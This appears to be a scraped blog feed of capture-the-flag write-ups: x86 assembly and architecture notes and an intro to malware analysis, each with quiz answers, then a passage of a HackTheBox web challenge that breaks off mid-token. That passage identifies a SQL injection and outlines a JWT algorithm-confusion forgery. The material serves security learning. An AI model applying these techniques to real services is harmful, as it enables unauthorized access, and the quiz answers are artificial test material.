MUL\nMultiplication Instruction: mul Example: mul value Multiplies the value with eax and stores the result in edx (eax as a 64-bit value). Result: lower 32 bits in the eax register; higher 32 bits in edx. DIV\nDivision Instruction: div Example: div \u0026lt;value\u0026gt; Divides the 64-bit value in edx. Result: quotient in eax and remainder in edx. INC\nIncrement a register by one. Instruction: inc Example: inc eax DEC\nDecrement a register by one. Instruction: dec Example: dec eax Logical Instructions AND\nBitwise AND operation. Instruction: and Example: and al, 0x7c OR\nBitwise OR operation. Instruction: or Example: or al, 0x7c NOT\nInverts the bits of an operand. Instruction: not Example: not al XOR\nReturns one if the inputs are opposite, and zero if they are the same. Instruction: xor Example: xor al, 0x7c XOR-ing a register with itself results in zero. Therefore, the XOR instruction is often used to zero a register, which is more optimized than a MOV instruction. Question 1: In a subtraction operation, which flag is set if the destination is smaller than the subtracted value?\nCarry Flag\nQuestion 2: Which instruction is used to increase the value of a register?\ninc\nQuestion 3: Do the following instructions have the same result? (yea/nay)\n- xor eax, eax\n- mov eax, 0\nyea\nConditionals TEST\nPerforms a bitwise AND and sets the Zero Flag (ZF) if the result is zero. Instruction: test Example: test destination, source Often used to check if an operand has a null value by testing the operand against itself. This approach uses fewer bytes than comparing to zero. CMP\nCompares two operands and sets the Zero Flag (ZF) or the Carry Flag (CF). Instruction: cmp Example: cmp destination, source Works similarly to subtraction. Equal operands set ZF; source greater than destination sets CF; source less than destination clears both ZF and CF. Branching Unconditional Jump JMP\nJumps to a specified location, changing the value of the instruction pointer. Instruction: jmp Example: jmp \u0026lt;location\u0026gt; Conditional Jumps JZ\nJump if the ZF is set (ZF equals one). Instruction: jz JNZ\nJump if the ZF is not set (ZF equals zero). Instruction: jnz JE\nJump if equal. Often used after a CMP instruction. Instruction: je JNE\nJump if not equal. Often used after a CMP instruction. Instruction: jne JG\nJump if the destination is greater than the source operand. Instruction: jg Performs signed comparison and is often used after a CMP instruction. JL\nJump if the destination is less than the source operand. Instruction: jl Performs signed comparison and is often used after a CMP instruction. JGE\nJump if greater than or equal to. Jumps if the destination operand is greater than or equal to the source operand. Instruction: jge Similar to the above instructions. JLE\nJump if less than or equal to. Jumps if the destination operand is less than or equal to the source operand. Instruction: jle Similar to the above instructions. JA\nJump if above. Similar to jg, but performs an unsigned comparison. Instruction: ja JB\nJump if below. Similar to jl, but performs an unsigned comparison. Instruction: jb JAE\nJump if above or equal to. Similar to the above instructions. Instruction: jae JBE\nJump if below or equal to. Similar to the above instructions. Instruction: jbe Question 1: Which flag is set as a result of the test instruction being zero?\nZero Flag\nQuestion 2: Which of the below operations uses subtraction to test two values? 1 or 2?\n- 1: cmp eax, ebx\n- 2: test eax, ebx\n1\nQuestion 3: Which flag is used to identify whether a jump will be taken or not after a jz or jnz instruction?\nZero Flag\nStack and Function Calls PUSH\nPushes the source operand onto the stack. Instruction: push Example: push source Value is stored at the memory location pointed to by the stack pointer (ESP), becoming the new top of the stack. ESP is decremented. PUSHA\nPushes all words onto the stack. Instruction: pusha AX, BX, CX, DX, SI, DI, SP, BP (16-bit general-purpose registers). PUSHAD\nPushes all doublewords onto the stack. Instruction: pushad EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP (32-bit general-purpose registers). When we encounter these instructions, it is often a sign of someone manually injecting assembly instructions to save the state of registers, as is often the case with shellcode. POP\nRetrieves the value from the top of the stack and stores it in the destination operand. Instruction: pop ESP is incremented. POPA\nPops all words. Instruction: popa Pops the values sequentially from the top of the stack to general-purpose registers. Order: DI, SI, BP, BX, DX, CX, AX. ESP is adjusted. POPAD\nPops all doublewords. Instruction: popad Pops the values sequentially from the top of the stack to general-purpose registers. Order: EDI, ESI, EBP, EBX, EDX, ECX, EAX. ESP or SP is adjusted. CALL\nPerforms a function call operation to perform a specific task. Instruction: call Example: call \u0026lt;location\u0026gt; Depending on the calling convention, arguments are placed on the stack or in registers. Prologue: Prepares the stack by adjusting EBP and ESP and pushing the return address onto the stack. Epilogue: Restores the stack for the caller function. Question 1: Which instruction is used for performing a function call?\ncall\nQuestion 2: Which instruction is used to push all registers to the stack?\npusha\nPractice Time We recommend experimenting with the Assembly Emulator. It provides an excellent interactive environment that makes understanding assembly instructions much easier.\nArithmetic Code mov eax,20h ; EIP=0x00000001 | EAX=0x00000020 mov ebx,30h ; EIP=0x00000002 | EBX=0x00000030 add eax,ebx ; EIP=0x00000003 | EAX=0x00000050 | PF=1 | EBX=0x00000030 (operand remains unchanged) nop ; EIP=0x00000004 | PF=1 (parity flag remains set) nop ; EIP=0x00000005 sub eax,ebx ; EIP=0x00000006 | EAX=0x00000020 | PF=0 | EBX remains unchanged inc ebx ; EIP=0x00000007 | EBX=0x00000031 dec ebx ; EIP=0x00000008 | EBX=0x00000031 | PF=1 | AF=1 mul eax ; EIP=0x00000009 | EAX=0x00000400 | EDX=0x00000000 | PF=1 | AF=1 Listing 1 - Arithmetic operations demonstrating add, sub, inc, dec, and mul instructions. MOV Instructions mov eax,10h ; EIP=0x00000001 | EAX=0x00000010 mov ebx,32h ; EIP=0x00000002 | EBX=0x00000032 mov ecx,eax ; EIP=0x00000003 | ECX=0x00000010 | EAX remains unchanged mov [eax],40h ; EIP=0x00000004 | Memory address [0x10]=0x00000040 add [eax],30h ; EIP=0x00000005 | Memory address [0x10]=0x00000070 mov [ebx],[eax] ; ERROR | Memory to memory data movement is NOT allowed. Listing 2 - MOV instruction examples showing register-to-register, immediate-to-register, and memory operations. Stack ; NOTE-1: Stack works from higher memory locations to lower ones. ; NOTE-2: Stack works in LIFO mode. mov eax,10h ; EIP=0x00000001 | EAX=0x00000010 mov ebx, 15h ; EIP=0x00000002 | EBX=0x00000015 mov ecx, 20h ; EIP=0x00000003 | ECX=0x00000020 mov edx, 25h ; EIP=0x00000004 | EDX=0x00000025 ; Original values | ESP=0x00001000 | EBP=0x00001000 | EAX, EBX, ECX, EDX remain UNCHANGED push eax ; EIP=0x00000005 | ESP=0x00000ffc | Stack location [0xffc]=0x00000010 push ebx ; EIP=0x00000006 | ESP=0x00000ff8 | Stack location [0xff8]=0x00000015 push ecx ; EIP=0x00000007 | ESP=0x00000ff4 | Stack location [0xff4]=0x00000020 push edx ; EIP=0x00000008 | ESP=0x00000ff0 | Stack location [0xff0]=0x00000025 pop eax ; EIP=0x00000009 | ESP=0x00000ff4 | Stack location [0xff0] CLEARED | EAX=0x00000025 pop ebx ; EIP=0x0000000a | ESP=0x00000ff8 | Stack location [0xff4] CLEARED | EBX=0x00000020 pop ecx ; EIP=0x0000000b | ESP=0x00000ffc | Stack location [0xff8] CLEARED | ECX=0x00000015 pop edx ; EIP=0x0000000c | ESP=0x00001000 | Stack location [0xffc] CLEARED | EDX=0x00000010 Listing 3 - Stack operations demonstrating LIFO behavior with push and pop instructions. CMP and TEST Instructions mov eax,10h ; EIP=0x00000001 | EAX=0x00000010 mov ebx,10h ; EIP=0x00000002 | EBX=0x00000010 cmp eax,ebx ; EIP=0x00000003 | ZF=1 and PF=1 test eax,ebx ; EIP=0x00000004 | ZF=0 and PF=0 mov eax,20h ; EIP=0x00000005 | EAX=0x00000020 mov ebx,10h ; EIP=0x00000006 | EBX=0x00000010 cmp eax,ebx ; EIP=0x00000007 | source \u0026lt; destination -\u0026gt; clear ZF and CF test eax,ebx ; EIP=0x00000008 | bitwise AND and set ZF if 0 --\u0026gt; ZF=1 and PF=1 mov eax,20h ; EIP=0x00000009 | EAX=0x00000020 | ZF=1 and PF=1 (remain unchanged) mov ebx,40h ; EIP=0x0000000a | EBX=0x00000040 cmp eax,ebx ; EIP=0x0000000b | source \u0026gt; destination -\u0026gt; set CF | CF=1 and SF=1 (most significant bit = 1) test eax,ebx ; EIP=0x0000000c | ZF=1 and PF=1 | CF, SF are cleared Listing 4 - Comparison and test operations showing flag behavior with equal, greater, and less than comparisons. LEA Instruction mov eax,20h ; EIP=0x00000001 | EAX=0x00000020 mov ebx,30h ; EIP=0x00000002 | EBX=0x00000030 add eax,ebx ; EIP=0x00000003 | EAX=0x00000050 | PF=1 nop ; EIP=0x00000004 | PF remains set mov [eax],ebx ; EIP=0x00000005 | Memory location [0x50]=0x00000030 add ebx,15h ; EIP=0x00000006 | EBX=0x00000045 | Clear PF mov ecx,6 ; EIP=0x00000007 | ECX=0x00000006 mov [ebx+ecx],eax ; EIP=0x00000008 | Memory locations [0x4b]=0x50000000 and [0x4c]=0x00000000 | (0x45+0x06=0x4b) lea eax,[ebx+ecx] ; EIP=0x00000009 | EAX=0x0000004b push eax ; EIP=0x0000000a | ESP=0x00000ffc and Stack location [0xffc]=0x0000004b push ebx ; EIP=0x0000000b | ESP=0x00000ff8 and Stack location [0xff8]=0x00000045 pop ecx ; EIP=0x0000000c | ESP=0x00000ffc and Stack location [0xff8] cleared | ECX=0x00000045 Listing 5 - Load effective address operations demonstrating address calculation and stack manipulation. Question 1: While running the MOV instructions, what is the value of [eax] after running the 4th instruction? (in hex)\n0x00000040\nQuestion 2: What error is displayed after running the 6th instruction from the MOV instruction section?\nMemory to memory data movement is not allowed.\nQuestion 3: Run the instructions from the stack section. What is the value of eax after the 9th instruction? (in hex)\n0x00000025\nQuestion 4: Run the instructions from the stack section. What is the value of edx after the 12th instruction? (in hex)\n0x00000010\nQuestion 5: Run the instructions from the stack section. After \u0026lsquo;POP ecx\u0026rsquo;, what is the value left at the top of the stack? (in hex)\n0x00000010\nQuestion 6: Run the cmp and test instructions. Which flags are triggered after the 3rd instruction?\nNote: Use these abbreviations in alphabetical order with no spaces: CF,PF,SF,ZF\nPF,ZF\nQuestion 7: Run the test and the cmp instructions. Which flags are triggered after the 11th instruction?\nNote: Use these abbreviations in alphabetical order with no spaces: CF,PF,SF,ZF\nCF,SF\nQuestion 8: Run the instructions from the lea section. What is the value of eax after running the 9th instruction? (in hex)\n0x0000004B\nQuestion 9: Run the instructions from the lea section. What is the final value found in the ECX register? (in hex)\n0x00000045\nConclusion Question 1: Join the discussion on our social channels.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/malware-analysis/x86-assembly-crash-course/","summary":"THM | Malware Analysis | x86 Assembly Crash Course","title":"x86 Assembly Crash Course"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nModule: Malware Analysis\nRoom: x86 Architecture Overview DESCRIPTION:\nA crash course in x86 architecture to enable us in malware reverse engineering.\nLearning Objectives\nOverview of CPU architecture and its components Different types of CPU registers and their usage Memory layout as viewed by a program Stack layout and stack registers Introduction Question 1: Go through the Learning Objectives\nNo answer needed\nCPU Architecture Overview This section explains the basic components of a CPU \u0026ndash; Control Unit, Arithmetic Logic Unit, and Registers \u0026ndash; and how they interact with external devices \u0026ndash; Memory and I/O devices.\nThe following is a brief overview:\nControl Unit: Fetches instructions from memory and executes them one at a time. Arithmetic Logic Unit: Performs calculations and operations based on those instructions. Registers: Small, high-speed storage areas that hold important data for quick access by the CPU. Memory (RAM): Stores all program code and data. I/O devices: Include keyboards, displays, printers, and other peripherals that interact with the computer. Overall, the room provides a simple explanation of how a CPU executes instructions and interacts with external components to run programs.\nQuestion 1: In which part of the Von Neumann architecture are the code and data required for a program to run stored?\nMemory\nQuestion 2: What part of the CPU stores small amounts of data?\nRegisters\nQuestion 3: In which unit are arithmetic operations performed?\nArithmetic Logic Unit\nRegisters Overview The room continues with an explanation of the concept of registers as the CPU\u0026rsquo;s storage medium, which provides quick access to data compared to other storage media.\nThe registers are divided into several types:\nInstruction Pointer (IP/RIP): A register that stores the address of the next instruction to be executed by the CPU. General-Purpose Registers: These 32-bit or 64-bit registers store data during general execution of instructions by the CPU. They include: EAX/RAX, EBX/RBX, ECX/RCX, EDX/RDX: Accumulator, Base, Counter, and Data Registers ESP/RSP, EBP/RBP, ESI/RSI, EDI/RDI: Stack Pointer, Base Pointer, Source Index, and Destination Index Registers R8-R15: 64-bit general-purpose registers not present in 32-bit systems These registers are used to store data temporarily while it is being processed by the CPU. The room also explains how each register type can be addressed at different levels of precision (e.g., byte, word, double-word).\nQuestion 1: Which register holds the address to the next instruction that is to be executed?\nInstruction Pointer\nQuestion 2: Which register in a 32-bit system is also called the Counter Register?\nECX\nQuestion 3: Which registers from the ones discussed above are not present in a 32-bit system?\nR8-R15\nStatus and Segment Registers Status Flag Registers - Indicating Execution Status This section explains the concept of Status Flag Registers, which provide information about the status of execution in a CPU. These registers are:\nEFLAGS (32-bit) and RFLAGS (64-bit): Single 32-bit or 64-bit registers that contain individual single-bit flags. Some key flags include:\nZero Flag (ZF): Indicates when the result of an instruction is zero. Carry Flag (CF): Indicates when a number is too large or too small for the destination register. Sign Flag (SF): Indicates if a result is negative or has the most significant bit set to 1. Trap Flag (TF): Indicates if the processor is in debugging mode. Segment Registers - Organizing Memory The room also explains Segment Registers, which are used to organize memory into different segments for easier addressing. There are six segment registers:\nCode Segment (CS): Points to the code section in memory. Data Segment (DS): Points to the program\u0026rsquo;s data section in memory. Stack Segment (SS): Points to the program\u0026rsquo;s stack in memory. Extra Segments (ES, FS, GS): Divide the program\u0026rsquo;s memory into four distinct data sections. Question 1: Which flag is used by the program to identify if it is being run in a debugger?\nTrap Flag\nQuestion 2: Which flag will be set when the most significant bit in an operation is set to 1?\nSign Flag\nQuestion 3: Which Segment register contains the pointer to the code section in memory?\nCode Segment\nMemory Overview When a program runs on Windows, it sees an abstracted view of memory, with its own memory space isolated from the rest of the system. Program memory layout:\nThe program has access to four main sections of memory:\nCode: Contains the program\u0026rsquo;s instructions and code, which can be executed by the CPU. Data: Holds initialized data that remains constant during execution, including global variables. Heap (Dynamic Memory): Allocates and deallocates memory for variables created and destroyed at runtime. Stack: Stores local variables, function arguments, and return addresses, which can be targeted by malware to hijack control flow. The room also provides a brief overview of each section, highlighting their characteristics and importance in malware analysis.\nThe stack is emphasized as a critical area from a malware perspective, particularly due to its role in controlling the program\u0026rsquo;s execution flow.\nQuestion 1: When a program is loaded into Memory, does it have a full view of the system memory? Y or N?\nN\nQuestion 2: Which section of the Memory contains the code?\nCode\nQuestion 3: Which Memory section contains information related to the program\u0026rsquo;s control flow?\nStack\nStack Layout The stack is a critical part of a program\u0026rsquo;s memory that contains local variables, function arguments, and control flow information. It is essential for malware analysis and reverse engineering.\nThe stack follows a last in, first out (LIFO) principle, where the last element added is the first to be removed.\nStack Pointers The CPU uses two registers to manage the stack:\nStack Pointer (ESP/RSP): Points to the top of the stack, adjusting as elements are pushed or popped. Base Pointer (EBP/RBP): Remains constant for a program, tracking local variables and arguments. Function Prologue and Epilogue When a function is called:\nThe function prologue pushes arguments, the return address, and the old base pointer onto the stack. The base pointer address changes to point to the top of the stack (the current stack pointer). When a function exits:\nThe function epilogue pops the old base pointer and return address, then rearranges the stack pointers. Malware Technique - Stack Buffer Overflow A common malware technique is to overflow a local variable on the stack, overwriting the Return Address with an attacker\u0026rsquo;s chosen address. This can hijack control flow and execute malicious code.\nThe room concludes by asking us to arrange the stack correctly on a static site to find a flag.\nThe correct arrangement appears as follows:\nCopy the flag to answer the question below.\nQuestion 1: Follow the instructions in the attached static site and find the flag. What is the flag?\n\u0026lt;redacted-flag\u0026gt;\nConclusion Question 1: Join the discussion on our social channels\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/malware-analysis/x86-architecture-overview/","summary":"THM | Malware Analysis | x86 Architecture Overview","title":"x86 Architecture Overview"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nModule: Malware Analysis\nRoom: Intro to Malware Analysis DESCRIPTION:\nWhat to do when you run into suspected malware.\nBEWARE!\nWhen analyzing malware, it is crucial to take precautions to prevent harm. Follow these guidelines:\nAnalyze malware only on isolated machines dedicated solely to analysis. Store malware samples in password-protected archives when not in use. Extract and analyze malware inside an isolated environment. Create a dedicated VM for malware analysis with the ability to revert to a clean state after each session. Disconnect from or monitor Internet connections during analysis. Revert the VM to its original state after each analysis session to avoid cross-contamination. Learning Objectives\nWhat is malware? How to start analyzing malware Static and dynamic malware analysis Resources to help you analyze malware Introduction The recommended operating system for malware analysis is REMnux: A Linux Toolkit for Malware Analysis.\nQuestion 1: Let\u0026rsquo;s learn Malware Analysis!\nNo answer needed\nMalware Analysis Malware refers to any software with malicious intent, categorized by its behavior. Here, we focus on the steps to take when suspecting malware on a machine rather than delving into detailed classifications.\nMalware analysis is an essential skill for various security teams:\nSecurity Operations: Writing detections for malicious activity. Incident Response: Determining damage and remediating it. Threat Hunt: Identifying IOCs to hunt for malware. Malware Researchers: Adding detections in security products. Threat Research: Discovering vulnerabilities and adding security features. Question 1: Which team uses malware analysis to look for IOCs and hunt for malware in a network?\nThreat hunt team\nTechniques of Malware Analysis Malware analysis is like solving a puzzle by joining different pieces (tools and techniques) to get the complete picture of what the malware is trying to do.\nMalware often uses techniques to avoid static and dynamic analysis, but these methods can be overcome using advanced analysis techniques such as:\nDisassemblers: Converting binary code to assembly for static analysis. Debuggers: Attaching to programs to monitor instructions while running. The two primary categories of techniques are static analysis and dynamic analysis.\nStatic Analysis Static analysis involves examining malware without executing it. This includes:\nChecking strings in malware. Examining PE headers. Disassembling code. Techniques to avoid static analysis include obfuscation and packing.\nDynamic Analysis Dynamic analysis involves running malware in a controlled environment to observe its behavior. This includes:\nRunning malware in a VM. Using sandboxes for automatic analysis. Techniques to avoid dynamic analysis include detecting the environment in which the malware is being run.\nQuestion 1: Which technique is used for analyzing malware without executing it?\nStatic analysis\nQuestion 2: Which technique is used for analyzing malware by executing it and observing its behavior in a controlled environment?\nDynamic analysis\nBasic Static Analysis When analyzing new malware, the first step is usually performing basic static analysis. This sizing-up process provides an overview of the malware and its properties.\nBasic static analysis can reveal important information:\nAPI calls made by the malware. Packing status (whether it is packed or not). Effort required to analyze the malware. Basic static analysis is a crucial step in understanding what you are dealing with, even if it does not always provide critical information.\nBasic Techniques Examining the file type: file \u0026lt;filename\u0026gt; Examining strings: strings \u0026lt;filename\u0026gt; Calculating hashes: md5sum \u0026lt;filename\u0026gt; | sha1sum \u0026lt;filename\u0026gt; | sha256sum \u0026lt;filename\u0026gt; AV scans and VirusTotal: Use VirusTotal to upload the hashes. Question 1: In the attached VM, there is a sample named redline in the Desktop/Samples directory. What is the md5sum of this sample?\nca2dc5a3f94c4f19334cc8b68f256259\nQuestion 2: What is the creation time of this sample?\n2020-08-01 02:44:18 UTC\nThe PE File Header The PE File Header contains metadata about Portable Executable (PE) files, providing valuable information for analysis. Key aspects of the PE header include:\nImports/Exports\nThese reveal functions reused by the file from outside (imports) or exposed to other binaries (exports). Imports can indicate malware functionality, such as communicating with the Internet. Sections\nA PE file is divided into sections, each serving a specific purpose. .text: Contains CPU instructions executed when the file runs. .data: Holds global variables and data used by the file. .rsrc: Stores resources like images and icons. To check the PE header, use the following commands:\nCommand line: pecheck \u0026lt;malware name\u0026gt; GUI-based: pe-tree \u0026lt;malware name\u0026gt; Question 1: In the attached VM, there is a sample named redline in the directory Desktop/Samples. What is the entropy of the .text section of this sample?\n6.453919\nQuestion 2: The sample named redline has five sections. .text, .rdata, .data, and .rsrc are four of them. What is the name of the fifth section?\n.ndata\nQuestion 3: From which DLL file does the sample named redline import the RegOpenKeyExW function?\nADVAPI32.dll\nQuestion 4: Check out the GUI-based pe-tree tool and see what information it shows. You can use the following command for using the pe-tree tool to analyze the redline malware. (The pe-tree tool might take some time to initiate.)\nNote: Use \u0026lsquo;pe-tree redline\u0026rsquo;.\nNo answer needed\nBasic Dynamic Analysis To create an effective sandbox for malware analysis, consider the following elements:\nVirtual Machine: Mimic the target environment where the malware will run. Snapshotting and Reversion: Be able to take snapshots and revert to a clean state to easily reset the environment. OS Monitoring Tools: Utilize software like Procmon or Regshot to monitor system activity. Network Monitoring Tools: Employ tools like Wireshark or Tcpdump to track network activity. Controlled Network Access: Set up a dummy DNS server and web server to control network access and prevent malicious behavior. Secure Data Transfer: Implement a mechanism to transfer analysis logs and malware samples in and out of the virtual machine without compromising the host system. Open Source Sandboxes Cuckoo Sandbox: Archived in 2021. CAPE Sandbox: Community version available; more advanced. Online Sandboxes Online Cuckoo Sandbox: No login necessary; seems somewhat outdated. Any.run: Login necessary; free signup available. Intezer: Login necessary; free signup available (14-day trial). Hybrid Analysis: No login necessary; seems up-to-date. Question 1: Check the hash of the sample redline on Hybrid Analysis and check out the Hybrid Analysis report. In the process tree, which is the first process launched when the sample is launched?\nsetup_installer.exe\nQuestion 2: In the process tree, there are two Windows utilities utilized by the malware to perform its activities. What are the names of the two utilities? (Format: utility1.exe and utility2.exe)\ncmd.exe and powershell.exe\nAnti-Analysis Techniques Packing and Obfuscation Malware authors frequently employ packing and obfuscation techniques to hinder analysis. Packer tools can encrypt, compress, or obscure malware contents, making static analysis challenging.\nThis complexity prevents analysts from easily identifying key information through string searches on packed malware samples.\nSandbox Evasion Techniques Long Sleep Calls: Malware waits for an extended period before performing any activity, causing the sandbox to time out. User Activity Detection: Malware checks for user interaction (e.g., mouse movement or keyboard typing) before executing malicious actions. Advanced malware also detects patterns of automated activity in sandboxes. Footprinting User Activity: Malware examines user files or browsing history to determine if the system is a sandbox and terminates if no significant activity is found. Detecting VMs: Malware identifies virtual machines by detecting specific drivers or artifacts associated with VM software like VMware or VirtualBox. If a VM is detected, the malware may terminate. Question 1: Which of the techniques discussed above is used to bypass static analysis?\npacking\nQuestion 2: Which technique discussed above is used to time out a sandbox?\nlong sleep calls\nConclusion Question 1: Head over to our social channels for further discussion\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/malware-analysis/intro-to-malware-analysis/","summary":"THM | Malware Analysis | Intro to Malware Analysis","title":"Intro to Malware Analysis"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Beginner Track\nChallenge: Under Construction DESCRIPTION\nA company that specialises in web development is creating a new site that is currently under construction. Can you obtain the flag?\nSUMMARY\nWe prepare the challenge files, then proceed to perform source code analysis using Codium. As we delve into the code, we identify vulnerabilities in the requirements section (CVE-2023-2142, CWE-1321), as well as a SQL Injection vulnerability within the getUser() function located in the helpers/DBHelper.js file. Furthermore, we discover additional vulnerabilities in the helper/JWT.js file, specifically CVE-2022-23539, CVE-2022-23540, and CVE-2022-23541.\nWe then exploit CVE-2022-23541 to gain access, followed by exploiting the SQL Injection vulnerability within the getUser() function. As we navigate through the application, we determine the selected row and column number of interest. Next, we identify a table called flag_storage containing sensitive information, along with a specific column labeled as top_secret_flag. With this knowledge in hand, we proceed to retrieve the flag from its designated location.\nPreparations After reading the challenge description, we download the provided challenge files. There is only one this time: Under Construction.zip.\nFigure 1: Challenge files download page\nThen we use the provided SHA-256 checksum to verify that the challenge files were not tampered with.\nuser@kali:~$ ll ... -rw-r--r-- 1 user user 5.9K ... 'Under Construction.zip' user@kali:~$ echo -n \"9f5c670ddfe72f08828eee3732ee8b00340fe7cf6448294039a4a384aff7e08c Under Construction.zip\" | sha256sum -c user@kali:~$ Everything seems fine, so we unpack the archive:\nuser@kali:~$ unzip -P hackthebox Under\\ Construction.zip -d ~/ Archive: Under Construction.zip inflating: index.js inflating: package.json creating: middleware/ inflating: middleware/AuthMiddleware.js creating: helpers/ inflating: helpers/DBHelper.js inflating: helpers/JWTHelper.js creating: routes/ inflating: routes/index.js creating: views/ inflating: views/auth.html inflating: views/index.html user@kali:~$ and use tree to get a better view of the extracted files:\nuser@kali:~$ tree . ... ├── helpers │ ├── DBHelper.js │ └── JWTHelper.js ├── index.js ├── middleware │ └── AuthMiddleware.js ├── package.json ├── routes │ └── index.js └── views ├── auth.html └── index.html ... user@kali:~$ All the files are backend source files:\nfive JavaScript files one JSON file two HTML files Static Code Analysis Since the next part of the challenge revolves around analyzing source code (static analysis), we open these files in a code editor with codium .\nThe editor that comes preinstalled on the pwnbox is VSCodium, the clone of Microsoft\u0026rsquo;s popular Visual Studio Code editor \u0026ndash; without the embedded user data tracking features.\nFigure 2: VSCodium editor with project files loaded\nMuch better. Now let us start with the index.js file. Here is a brief source analysis:\nindex.js |\u0026gt; REQUIREMENTS It uses the Express web framework \u0026ndash; no vulnerabilities were reported for express version 4.17.1 (from package.json). It uses two parsers: body-parser: To parse incoming request bodies \u0026ndash; no vulnerabilities for version 1.19.0. cookie-parser: To parse cookie headers \u0026ndash; no vulnerabilities for version 1.4.4. Links to routes/index.js. It uses Nunjucks (templating engine for JavaScript) version 3.2.0, which has two vulnerabilities: CVE-2023-2142 (XSS, medium severity) CWE-1321 (Prototype Pollution, high severity) |\u0026gt; CODE Basic structure of an Express application. Registers middleware functions to handle URL-encoded data, cookies, and Nunjucks templates. Defines a catch-all route to handle any requests that do not match other routes. Starts the application listening on port 1337. Let us check out those aforementioned routes \u0026ndash; routes/index.js.\nroutes/index.js |\u0026gt; REQUIREMENTS Imports the path module from the standard Node.js library. Links to: ../middleware/AuthMiddleware ../helpers/JWTHelper ../helpers/DBHelper |\u0026gt; CODE Defines several routes for a simple authentication system:\nHome route (/): Gets the user. If the user exists, renders index.html with user data; otherwise, returns a 404 error.\nget(/auth, ...):Renders the auth.html template, which contains a form for login or registration.\nget(/logout, ...): Clears the user\u0026rsquo;s session cookie and redirects to the /auth route.\npost(/auth, ...): Handles user login and registration requests. Empty username or password \u0026ndash;\u0026gt; Redirects to /auth. Username already exists in the database \u0026ndash;\u0026gt; Redirects to /auth with an error message. Username does not exist in database \u0026ndash;\u0026gt; Creates a new user and redirects to /auth with a success message. Registered user logic No username-password pair match in database \u0026ndash;\u0026gt; Redirects to /auth with an error message. Username-password pair match in database \u0026ndash;\u0026gt; Creates a JWT token for the user, redirects to the home page (/), and sets the session cookie with the newly created token. index.html There is nothing particularly interesting in index.html besides:\n... \u0026lt;div class=\u0026#34;card-body\u0026#34;\u0026gt; Welcome {{ user.username }}\u0026lt;br\u0026gt; This site is under development. \u0026lt;br\u0026gt; Please come back later. \u0026lt;/div\u0026gt; which should reflect our username back to us.\nauth.html The auth.html file describes and defines the login form and its corresponding actions.\nmiddleware/AuthMiddleware.js Continuing with the middleware/AuthMiddleware.js file, it authenticates users using JWT tokens:\nIf the session cookie is not set, redirects to /auth. If the session cookie is set, decodes the JWT token, extracts the username, and sets the username property. helpers/DBHelper.js This file contains functions that interact with the SQLite database:\ngetUser(): Retrieves a user from the database. checkUser(): Checks for a username in the database. createUser(): Creates a user entry in the database. attemptLogin(): Attempts to log a user in by username and password. There is one very important thing to note here:\n... db.get(`SELECT * FROM users WHERE username = \u0026#39;${username}\u0026#39;`, (err, data) =\u0026gt; { if (err) return rej(err); res(data); }); ... which looks susceptible to common SQL injection attacks. Given that the other functions use query or name placeholders, only getUser() appears vulnerable.\nhelpers/JWTHelper.js |\u0026gt; REQUIREMENTS Imports the fs module (for file system usage) from the standard Node.js library. Uses jsonwebtoken, which has three medium-severity vulnerabilities in version 8.5.1: CVE-2022-23539: Use of a broken or risky cryptographic algorithm CVE-2022-23540: Improper authentication CVE-2022-23541: Improper restriction of security token assignment The following snippet proves very important:\n\u0026hellip;\nSpecifically, tokens signed with an asymmetric public key could be verified with a symmetric HS256 algorithm. This can lead to successful validation of forged tokens.\n\u0026hellip;\nHMAC Algorithm Attack: an attacker creates the token by setting the signing algorithm to a symmetric HS256 instead of an asymmetric RS256, leading the API to blindly verify the token using the HS256 algorithm using the public key as a secret key. Since the public key is known, the attacker can correctly forge valid JWTs.\n\u0026hellip;\nReading about algorithm confusion attacks confirms this vulnerability.\nThis vulnerability enables us to forge arbitrary JWT tokens.\n|\u0026gt; CODE Functions to sign and verify JSON Web Tokens. Reads files: ./private.key and ../public.key. sign(): Signs with the private key using the RS256 algorithm. decode(): Decodes JWT tokens with the public key using both RS256 and HS256 algorithms. Notice that we are allowed to use both symmetric (HS256) and asymmetric (RS256) cryptographic functions for decoding the JWT token.\nAlgorithm Confusion Attack With the vulnerability identified, we proceed to exploit it by following the steps described in the PortSwigger post. The steps for performing an algorithm confusion attack are as follows:\nStep-1: Obtain the server\u0026rsquo;s public key. Step-2: Convert the public key to a suitable format. Step-3: Create a malicious JWT with a modified payload and the alg header set to HS256. Step-4: Sign the token with HS256, using the public key as the secret. Opening a browser and examining our target\u0026rsquo;s webpage reveals a login page.\nFigure 3: Web application login form\nStep-1: Obtain the server\u0026rsquo;s public key. Following the instructions and setting our sights on first obtaining the public key, we try to extract it from existing JWTs. We fire up Burp Suite and intercept the JWTs.\nSince we already analyzed the backend code, we know that the server only signs tokens in the case of an already logged-in user:\n// routes/index.js ... let token = await JWTHelper.sign({ username: username.replace(/\u0026#39;/g, \u0026#34;\\\u0026#39;\\\u0026#39;\u0026#34;).replace(/\u0026#34;/g, \u0026#34;\\\u0026#34;\\\u0026#34;\u0026#34;) }) ... So first we must create one. Registering test credentials (username:password) and logging in provides us with the desired signed token.\nFigure 4: Burp Suite intercept showing the signed JWT token\nBefore moving on, we send the request to Burp\u0026rsquo;s Repeater and install the JWT Editor extension:\nClick on Extender \u0026gt; BApp Store \u0026gt; Search for \u0026lsquo;JWT Editor\u0026rsquo; \u0026gt; Install both JWT Editor Keys and JSON Web Tokens.\nFigure 5: Burp Suite JWT Editor extensions installed\nCopying our signed token to the JSON Web Tokens extension reveals that the RSA public key is indeed sent along in the payload.\nFigure 6: Burp Suite showing the decoded JWT payload\nHere is our decoded JWT:\nHeaders = { \u0026#34;alg\u0026#34;: \u0026#34;RS256\u0026#34;, \u0026#34;typ\u0026#34;: \u0026#34;JWT\u0026#34; } Payload = { \u0026#34;username\u0026#34;: \u0026#34;username\u0026#34;, \u0026#34;pk\u0026#34;: \u0026#34;-----BEGIN PUBLIC 